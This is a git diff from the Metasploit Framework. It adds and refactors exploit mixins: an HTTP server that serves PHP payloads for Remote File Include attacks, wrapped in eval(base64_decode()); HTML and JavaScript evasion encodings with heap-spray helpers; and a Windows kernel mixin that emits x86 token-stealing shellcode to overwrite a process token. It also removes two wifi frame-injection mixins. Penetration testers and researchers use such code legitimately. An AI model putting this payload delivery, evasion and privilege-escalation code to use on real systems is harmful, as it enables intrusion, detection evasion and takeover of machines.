Rex::Text.encode_base64(body) - when 'single_pad' - body = Rex::Text.encode_base64(' ' + body) - when 'double_pad' - body = Rex::Text.encode_base64(' ' + body) - when 'random_space_injection' - body = Rex::Text.encode_base64(body) - new = '' - while (body.size > 0) - new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") - end - body = new - end - - body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' + - 'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' + - body + '">Could not render object</OBJECT></BODY></HTML>' - end - - if datastore['HTML::javascript::escape'] > 0 - datastore['HTML::javascript::escape'].times { - body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>' - } - end - - if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode']) - headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] - body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) - else - # special cases - case datastore['HTML::unicode'] - when 'utf-16be-marker' - headers['Content-Type'] = 'text/html' - body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be') - when 'utf-7-all' - headers['Content-Type'] = 'text/html; charset=utf-7' - body = Rex::Text.to_unicode(body, 'utf-7', 'all') - when 'none' - # do nothing - else - raise RuntimeError, 'Invalid unicode. how did you get here?' - end - end - - send_response(cli, body, headers) - end - end - - -### -# -# This module provides methods for exploiting PHP scripts by acting as an HTTP -# server hosting the payload for Remote File Include vulnerabilities. -# -### -module Exploit::Remote::HttpServer::PHPInclude - - include Msf::Exploit::Remote::HttpServer - - def initialize(info = {}) - - # Override TCPServer's stance of passive - super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) - - register_evasion_options( - [ - OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), - ], Exploit::Remote::HttpServer::PHPInclude - ) - end - - # Since these types of vulns are Stance::Aggressive, override HttpServer's - # normal non-automatic behaviour and allow things to run us automatically - def autofilter - true - end - - ## - # :category: Exploit::Remote::TcpServer overrides - # - # Override exploit() to handle service start/stop - # - # Disables SSL for the service since we always want to serve our evil PHP - # files from a non-ssl server. There are two reasons for this: - # 1. https is only supported on PHP versions after 4.3.0 and only if - # the OpenSSL extension is compiled in, a non-default configuration on - # most systems - # 2. somewhat less importantly, the SSL option would conflict with the - # option for our client connecting to the vulnerable server - # - def exploit - old_ssl = datastore["SSL"] - datastore["SSL"] = false - start_service - datastore["SSL"] = old_ssl - - #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr)) - # print_error("Warning: the URL used for the include might be wrong!") - # print_error("If the target system can route to #{srvhost_addr} it") - # print_error("is safe to ignore this warning. If not, try using a") - # print_error("reverse payload instead of bind.") - #end - - begin - print_status("PHP include server started."); - php_exploit - ::IO.select(nil, nil, nil, 5) - rescue ::Interrupt - raise $! - ensure - stop_service - end - end - - # - # Transmits a PHP payload to the web application - # - def send_php_payload(cli, body, headers = {}) - - case datastore['PHP::Encode'] - when 'base64' - body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>" - when 'none' - body = "<?php #{body} ?>" - end - - send_response(cli, body, headers) - end - - ## - # :category: Event Handlers - # - # Handle an incoming PHP code request - # - def on_request_uri(cli, request, headers={}) - # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) - - # Send it to the application - send_php_payload(cli, p.encoded, headers) - end - - # - # The PHP include URL (pre-encoded) - # - # Does not take SSL into account. For the reasoning behind this, see - # {#exploit}. - # - # @return [String] The URL to be used as the argument in a call to - # +require+, +require_once+, or +include+ or +include_once+ in a - # vulnerable PHP app. - def php_include_url(sock=nil) - host = srvhost_addr - if Rex::Socket.is_ipv6?(host) - host = "[#{host}]" - end - "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?" - end - - -end -end - diff --git a/lib/msf/core/exploit/http/server/html.rb b/lib/msf/core/exploit/http/server/html.rb new file mode 100644 index 0000000000..d8e1f23fda --- /dev/null +++ b/lib/msf/core/exploit/http/server/html.rb @@ -0,0 +1,254 @@ + +module Msf + +### +# +# This module provides methods for exploiting an HTTP client by acting +# as an HTTP server. +# +### +module Exploit::Remote::HttpServer::HTML + + include Msf::Exploit::Remote::HttpServer + + UTF_NONE = 'none' + UTF_7 = 'utf-7' + UTF_7_ALL = 'utf-7-all' + UTF_8 = 'utf-8' + UTF_16_LE = 'utf-16le' + UTF_16_BE = 'utf-16be' + UTF_16_BE_MARKER = 'utf-16be-marker' + UTF_32_LE = 'utf-32le' + UTF_32_BE = 'utf-32be' + +protected + + def initialize(info = {}) + super + + register_evasion_options( + [ + # utf-8, utf-7 and utf-7-all are currently not supported by + # most browsers. as such, they are not added by default. The + # mixin supports encoding using them, however they are not + # listed in the Option. + OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]), + OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), + OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), + ], Exploit::Remote::HttpServer::HTML) + end + + # + # Obfuscates symbols found within a javascript string. + # + # Returns an ObfuscateJS object + # + def obfuscate_js(javascript, opts) + js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) + js.obfuscate + return js + end + + # + # Encrypts a given javascript string using the provided key. + # + # Returns a string containing the encrypted string and a loader + # + def encrypt_js(javascript, key) + Rex::Exploitation::EncryptJS.encrypt(javascript, key) + end + + # + # Returns the heaplib javascript, including any custom javascript supplied + # by the caller. + # + def heaplib(custom_js = '', opts = {}) + Rex::Exploitation::HeapLib.new(custom_js, opts).to_s + end + + # + # Returns the heaplib2 javascript + # + def js_heaplib2(custom_js = '', opts = {}) + @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) + end + + def js_base64 + @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 + end + + + # + # Downloads data using ajax + # + # Supported arguments: + # method => Optional. HTTP Verb (eg. GET/POST) + # path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you + # must use a relative path, otherwise you will be blocked by the browser. + # data => Optional. Data to pass to the server + # + # Example of using the ajax_download() function: + # For IE, your web server has to return this header to download binary data: + # "text/plain; charset=x-user-defined" + # <script> + # #{js_ajax_download} + # + # ajax_download({path:"/test.bin"}); + # </script> + # + def js_ajax_download + @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download + end + + + # + # Transfers data using a POST request + # + def js_ajax_post + @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post + end + + # + # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's + # suitable for a no-spray technique. There should be an allocation that contains an array of + # pointers to strings that we control, and each string should reside in its own buffer. + # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on + # Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific + # writing style, so make sure you have the following before using: + # * You must have the following at the beginning of your HTML file: + # <!doctype html> + # <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> + # * You must have the following in <meta>: + # <meta> + # <?IMPORT namespace="t" implementation="#default#time2"> + # </meta> + # + # The "mstime_malloc" JavaScript function supports the following arguments: + # shellcode => The shellcode to place. + # offset => Optional. The pointer index that points to the shellcode. + # heapBlockSize => Object size. + # objId => The ID to your ANIMATECOLOR element. + # + # Example of using "js_mstime_malloc": + # <script> + # #{js_mstime_malloc} + # + # shellcode = unescape("%u4141%u4141%u4141%u4141%u4141"); + # offset = 3; + # s = 0x58; + # mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId}); + # </script> + # + def js_mstime_malloc + @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc + end + + # + # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) + # function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's + # publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode + # should land at address 0x0c0d2020, as this is the most consistent location across + # various versions. + # + # The "sprayHeap" JavaScript function supports the following arguments: + # shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes. + # objId => Optional. The ID for a <div> HTML tag. + # offset => Optional. Number of bytes to align the shellcode, default: 0x00 + # heapBlockSize => Optional. Allocation size, default: 0x80000 + # maxAllocs => Optional. Number of allocation calls, default: 0x350 + # + # Example of using the 'sprayHeap' function: + # <script> + # #{js_property_spray} + # + # var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); + # sprayHeap({shellcode:s, heapBlockSize:0x80000}); + # </script> + # + def js_property_spray + @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray + end + + def js_heap_spray + @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray + end + + def js_explib2 + @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 + end + + def js_explib2_payload(payload="exec") + @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) + end + + def js_os_detect + @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os + end + + def js_ie_addons_detect + @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons + end + + def js_misc_addons_detect + @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons + end + + # Transmits a html response to the supplied client + # + # HTML evasions are implemented here. + def send_response_html(cli, body, headers = {}) + body = body.to_s.unpack("C*").pack("C*") + if datastore['HTML::base64'] != 'none' + case datastore['HTML::base64'] + when 'plain' + body = Rex::Text.encode_base64(body) + when 'single_pad' + body = Rex::Text.encode_base64(' ' + body) + when 'double_pad' + body = Rex::Text.encode_base64(' ' + body) + when 'random_space_injection' + body = Rex::Text.encode_base64(body) + new = '' + while (body.size > 0) + new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") + end + body = new + end + + body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' + + 'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' + + body + '">Could not render object</OBJECT></BODY></HTML>' + end + + if datastore['HTML::javascript::escape'] > 0 + datastore['HTML::javascript::escape'].times { + body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>' + } + end + + if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode']) + headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] + body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) + else + # special cases + case datastore['HTML::unicode'] + when UTF_16_BE_MARKER + headers['Content-Type'] = 'text/html' + body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE) + when UTF_7_ALL + headers['Content-Type'] = "text/html; charset=#{UTF_7}" + body = Rex::Text.to_unicode(body, UTF_7, 'all') + when UTF_NONE + # do nothing + else + raise RuntimeError, 'Invalid unicode. how did you get here?' + end + end + + send_response(cli, body, headers) + end + +end + +end + diff --git a/lib/msf/core/exploit/http/server/php_include.rb b/lib/msf/core/exploit/http/server/php_include.rb new file mode 100644 index 0000000000..4f43082ef3 --- /dev/null +++ b/lib/msf/core/exploit/http/server/php_include.rb @@ -0,0 +1,116 @@ + +module Msf + +### +# +# This module provides methods for exploiting PHP scripts by acting as an HTTP +# server hosting the payload for Remote File Include vulnerabilities. +# +### +module Exploit::Remote::HttpServer::PHPInclude + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + + # Override TCPServer's stance of passive + super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) + + register_evasion_options( + [ + OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), + ], Exploit::Remote::HttpServer::PHPInclude + ) + end + + # Since these types of vulns are Stance::Aggressive, override HttpServer's + # normal non-automatic behaviour and allow things to run us automatically + def autofilter + true + end + + ## + # :category: Exploit::Remote::TcpServer overrides + # + # Override exploit() to handle service start/stop + # + # Disables SSL for the service since we always want to serve our evil PHP + # files from a non-ssl server. There are two reasons for this: + # 1. https is only supported on PHP versions after 4.3.0 and only if + # the OpenSSL extension is compiled in, a non-default configuration on + # most systems + # 2. somewhat less importantly, the SSL option would conflict with the + # option for our client connecting to the vulnerable server + # + def exploit + old_ssl = datastore["SSL"] + datastore["SSL"] = false + start_service + datastore["SSL"] = old_ssl + + #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr)) + # print_error("Warning: the URL used for the include might be wrong!") + # print_error("If the target system can route to #{srvhost_addr} it") + # print_error("is safe to ignore this warning. If not, try using a") + # print_error("reverse payload instead of bind.") + #end + + begin + print_status("PHP include server started."); + php_exploit + ::IO.select(nil, nil, nil, 5) + rescue ::Interrupt + raise $! + ensure + stop_service + end + end + + # + # Transmits a PHP payload to the web application + # + def send_php_payload(cli, body, headers = {}) + + case datastore['PHP::Encode'] + when 'base64' + body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>" + when 'none' + body = "<?php #{body} ?>" + end + + send_response(cli, body, headers) + end + + ## + # :category: Event Handlers + # + # Handle an incoming PHP code request + # + def on_request_uri(cli, request, headers={}) + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + # Send it to the application + send_php_payload(cli, p.encoded, headers) + end + + # + # The PHP include URL (pre-encoded) + # + # Does not take SSL into account. For the reasoning behind this, see + # {#exploit}. + # + # @return [String] The URL to be used as the argument in a call to + # +require+, +require_once+, or +include+ or +include_once+ in a + # vulnerable PHP app. + def php_include_url(sock=nil) + host = srvhost_addr + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?" + end + +end + +end diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index 491babc19a..b3eb246411 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -87,7 +87,7 @@ module Exploit::Java raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s end - if compile_options.class.to_s != "Array" && compile_options + if !compile_options.is_a?(Array) && compile_options raise RuntimeError, "Compiler options must be of type Array." end diff --git a/lib/msf/core/exploit/jsobfu.rb b/lib/msf/core/exploit/jsobfu.rb new file mode 100644 index 0000000000..4037df99d7 --- /dev/null +++ b/lib/msf/core/exploit/jsobfu.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +require 'rex/exploitation/jsobfu' + +module Msf + module Exploit::JSObfu + + def initialize(info={}) + super + register_advanced_options([ + OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]) + ], Exploit::JSObfu) + end + + # + # Returns an JSObfu object. A wrapper of ::Rex::Exploitation::JSObfu.new(js).obfuscate + # + # @param js [String] JavaScript code + # @param opts [Hash] obfuscation options + # * :iterations [FixNum] Number of times to obfuscate + # @return [::Rex::Exploitation::JSObfu] + # + def js_obfuscate(js, opts={}) + iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i + obfu = ::Rex::Exploitation::JSObfu.new(js) + obfu.obfuscate(:iterations=>iterations) + obfu + end + + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/local/compile_c.rb b/lib/msf/core/exploit/local/compile_c.rb index 4e892b6ad9..8c0ad3e74e 100644 --- a/lib/msf/core/exploit/local/compile_c.rb +++ b/lib/msf/core/exploit/local/compile_c.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Exploit::Local::CompileC diff --git a/lib/msf/core/exploit/local/linux.rb b/lib/msf/core/exploit/local/linux.rb index 5a05f5f379..b79c18f5d9 100644 --- a/lib/msf/core/exploit/local/linux.rb +++ b/lib/msf/core/exploit/local/linux.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/exploit/local/compile_c' module Msf diff --git a/lib/msf/core/exploit/local/linux_kernel.rb b/lib/msf/core/exploit/local/linux_kernel.rb index 72a81eb6a8..4765a3409d 100644 --- a/lib/msf/core/exploit/local/linux_kernel.rb +++ b/lib/msf/core/exploit/local/linux_kernel.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/exploit/local/compile_c' module Msf diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb new file mode 100644 index 0000000000..adc988a3cb --- /dev/null +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -0,0 +1,168 @@ +# -*- coding: binary -*- + +module Msf +module Exploit::Local::WindowsKernel + include Msf::PostMixin + include Msf::Post::Windows::Error + + # + # Find the address of nt!HalDispatchTable. + # + # @return [Integer] The address of nt!HalDispatchTable. + # @return [nil] If the address could not be found. + # + def find_haldispatchtable + kernel_address, kernel_name = find_sys_base(nil) + if kernel_address.nil? || kernel_name.nil? + print_error("Failed to find the address of the Windows kernel") + return nil + end + vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") + + h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) + if h_kernel['return'] == 0 + print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") + return nil + end + h_kernel = h_kernel['return'] + + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') + if hal_dispatch_table['return'] == 0 + print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") + return nil + end + hal_dispatch_table = hal_dispatch_table['return'] + + hal_dispatch_table -= h_kernel + hal_dispatch_table += kernel_address + vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") + hal_dispatch_table + end + + # + # Find the load address for a device driver on the session. + # + # @param drvname [String, nil] The name of the module to find, otherwise the kernel + # if this value is nil. + # @return [Array] An array containing the base address and the located drivers name. + # @return [nil] If the name specified could not be found. + # + def find_sys_base(drvname) + if session.railgun.util.pointer_size == 8 + ptr = 'Q<' + else + ptr = 'V' + end + + results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*") + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + if results['return'] == 0 + print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + current_drvname = results['lpBaseName'][0,results['return']] + if drvname.nil? + if current_drvname.downcase.include?('krnl') + return address, current_drvname + end + elsif drvname == current_drvname + return address, current_drvname + end + end + end + + # + # Open a device on a meterpreter session with a call to CreateFileA and return + # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile + # are specified as nil. + # + # @param file_name [String] Passed to CreateFileA as the lpFileName parameter. + # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. + # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. + # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. + # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. + # @return [Integer] The device handle. + # @return [nil] If the call to CreateFileA failed. + # + def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) + handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) + if handle['return'] == INVALID_HANDLE_VALUE + print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") + return nil + end + handle['return'] + end + + # + # Generate token stealing shellcode suitable for use when overwriting the + # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx + # registers. + # + # @param target [Hash] The target information containing the offsets to _KPROCESS, + # _TOKEN, _UPID and _APLINKS. + # @param backup_token [Integer] An optional location to write a copy of the + # original token to so it can be restored later. + # @param arch [String] The architecture to return shellcode for. If this is nil, + # the arch will be guessed from the target and then module information. + # @param append_ret [Boolean] Append a ret instruction for use when being called + # in place of HaliQuerySystemInformation. + # @return [String] The token stealing shellcode. + # @raise [ArgumentError] If the arch is incompatible. + # + def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true) + arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] + if arch.nil? && module_info['Arch'] + arch = module_info['Arch'] + arch = arch[0] if arch.is_a?(Array) and arch.length == 1 + end + if arch.nil? + print_error('Can not determine the target architecture') + fail ArgumentError, 'Invalid arch' + end + + tokenstealing = '' + case arch + when ARCH_X86 + tokenstealing << "\x52" # push edx # Save edx on the stack + tokenstealing << "\x53" # push ebx # Save ebx on the stack + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS + tokenstealing << "\x8b\xc8" # mov ecx, eax + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + unless backup_token.nil? + tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided + end + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) + tokenstealing << "\x75\xe8" # jne 0000101e ======================| + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS + tokenstealing << "\x5b" # pop ebx # Restores ebx + tokenstealing << "\x5a" # pop edx # Restores edx + if append_ret + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + end + else + # if this is reached the issue most likely exists in the exploit module + print_error('Unsupported arch for token stealing shellcode') + fail ArgumentError, 'Invalid arch' + end + tokenstealing + end +end +end diff --git a/lib/msf/core/exploit/lorcon.rb b/lib/msf/core/exploit/lorcon.rb deleted file mode 100644 index 8f2f2562a2..0000000000 --- a/lib/msf/core/exploit/lorcon.rb +++ /dev/null @@ -1,127 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This module provides methods for sending raw 802.11 frames using the ruby-lorcon extension. -# Please see the ruby-lorcon documentation for more information. -# -### - -module Exploit::Lorcon - - # - # Initializes an instance of an exploit module that accesses a 802.11 network - # - def initialize(info = {}) - super - - - default_intf = 'ath0' - default_driver = 'madwifing' - - - if (Rex::Compat.is_windows()) - # Default to the the first airpcap device on Windows - default_intf = "\\\\.\\airpcap00" - - # Default to the airpcap driver on Windows - default_driver = 'airpcap' - end - - register_options( - [ - OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]), - OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]), - OptInt.new('CHANNEL', [true, 'The default channel number', 11]), - OptInt.new('TXRATE', [true, 'The injected transmit rate', 2]), - OptEnum.new('TXMOD', [true, 'The injected modulation type', 'DSSS', %w{DEFAULT FHSS DSSS OFDM TURBO MIMO MIMOGF}]) - ], Msf::Exploit::Lorcon - ) - - - begin - - if(Rex::Compat.is_windows()) - airpcap = Rex::FileUtils.find_full_path("airpcap.dll") - if (not airpcap) - raise RuntimeError, "The airpcap.dll library must be installed" - end - end - - require 'Lorcon' - @lorcon_loaded = true - - rescue ::Exception => e - @lorcon_loaded = false - @lorcon_error = e - end - - end - - # - # Opens a handle to the specified wireless device - # - def open_wifi - - if (not @lorcon_loaded) - print_status("The Lorcon module is not available: #{@lorcon_error}") - raise RuntimeError, "Lorcon not available" - end - - # XXX: Force the interface to be up - system("ifconfig", datastore['INTERFACE'], "up") - - self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER']) - if (not self.wifi) - raise RuntimeError, "Could not open the wireless device interface" - end - - # Configure the card for reliable injection - self.wifi.fmode = "INJECT" - self.wifi.channel = (datastore['CHANNEL'] || 11).to_i - - - # Configure modulation - begin - self.wifi.modulation = datastore['TXMOD'] - rescue ::ArgumentError => e - print_status("Warning: #{e}") - end - - # Configure the transmission rate - begin - self.wifi.txrate = datastore['TXRATE'].to_i if datastore['TXRATE'] - rescue ::ArgumentError => e - print_status("Warning: #{e}") - end - - self.wifi - end - - def close_wifi - self.wifi = nil - end - - # - # Converts ethernet addresses to binary - # - def eton(addr) - addr.split(':').map { |c| c.hex.chr }.join - end - - def channel - self.wifi.channel - end - - def next_channel - cur = self.wifi.channel - nxt = (cur > 10) ? 1 : cur + 1 - self.wifi.channel = nxt - end - - attr_accessor :wifi - -end - -end diff --git a/lib/msf/core/exploit/lorcon2.rb b/lib/msf/core/exploit/lorcon2.rb deleted file mode 100644 index 6d9622ee54..0000000000 --- a/lib/msf/core/exploit/lorcon2.rb +++ /dev/null @@ -1,141 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This module provides methods for sending raw 802.11 frames using the -# ruby-lorco2n extension. -# Please see the ruby-lorcon documentation for more information. -# -### - -module Exploit::Lorcon2 - - # - # Initializes an instance of an exploit module that accesses a 802.11 network - # - - def initialize(info = {}) - super - - default_intf = 'wlan0' - default_driver = 'autodetect' - - if (Rex::Compat.is_windows()) - # Default to the the first airpcap device on Windows - default_intf = "\\\\.\\airpcap00" - - # Default to the airpcap driver on Windows - default_driver = 'airpcap' - end - - register_options( - [ - OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]), - OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]), - OptInt.new('CHANNEL', [true, 'The initial channel', 11]), - ], Msf::Exploit::Lorcon2 - ) - - - begin - - if(Rex::Compat.is_windows()) - airpcap = Rex::FileUtils.find_full_path("airpcap.dll") - if (not airpcap) - raise RuntimeError, "The airpcap.dll library must be installed" - end - end - - require 'Lorcon2' - @lorcon_loaded = true - - rescue ::Exception => e - @lorcon_loaded = false - @lorcon_error = e - end - - end - - # - # Opens a handle to the specified wireless device - # - def open_wifi - - if (not @lorcon_loaded) - print_status("The Lorcon2 module is not available: #{@lorcon_error}") - raise RuntimeError, "Lorcon2 not available" - end - - if (datastore['DRIVER'] == "autodetect") - self.wifi = ::Lorcon::Device.new(datastore['INTERFACE']) - else - self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER']) - end - - if (not self.wifi) - raise RuntimeError, "Could not initialize the wireless device interface" - end - - # Configure for injmon - self.wifi.openinjmon() or raise RuntimeError, "Could not open device in inject/monitor combo mode: " + self.wifi.error - - # Configure channel - self.wifi.channel = datastore['CHANNEL'] - - # TODO - add mod/rate once lorcon2 supports it - - self.wifi - end - - # - # This monstrosity works around a series of bugs in the interrupt - # signal handling of Ruby 1.9 and Lorcon2 - # - def each_packet(count=-1) - return if not wifi - begin - @wifi_count = 0 - reader = framework.threads.spawn("Lorcon2Receiver", false) do - wifi.each_packet(count.to_i) do |pkt| - yield(pkt) - @wifi_count += 1 - end - end - reader.join - rescue ::Exception - raise $! - ensure - reader.kill if reader.alive? - end - - @wifi_count - end - - def close_wifi - self.wifi = nil - end - - # - # Converts ethernet addresses to binary - # - def eton(addr) - addr.split(':').map { |c| c.hex.chr }.join - end - - def channel - self.wifi.channel - end - - def next_channel - cur = self.wifi.channel - nxt = (cur > 10) ? 1 : cur + 1 - self.wifi.channel = nxt - end - - attr_accessor :wifi - -end - -end - diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index d1bd31a508..d2b8c575c6 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -19,14 +19,6 @@ require 'msf/core/exploit/php_exe' # CmdStagers require 'msf/core/exploit/cmdstager' -require 'msf/core/exploit/cmdstager_vbs' -require 'msf/core/exploit/cmdstager_vbs_adodb' -require 'msf/core/exploit/cmdstager_debug_write' -require 'msf/core/exploit/cmdstager_debug_asm' -require 'msf/core/exploit/cmdstager_tftp' -require 'msf/core/exploit/cmdstager_bourne' -require 'msf/core/exploit/cmdstager_echo' -require 'msf/core/exploit/cmdstager_printf' # Protocol require 'msf/core/exploit/tcp' @@ -35,7 +27,10 @@ require 'msf/core/exploit/ip' require 'msf/core/exploit/ipv6' require 'msf/core/exploit/dhcp' require 'msf/core/exploit/ntlm' +require 'msf/core/exploit/dcerpc' require 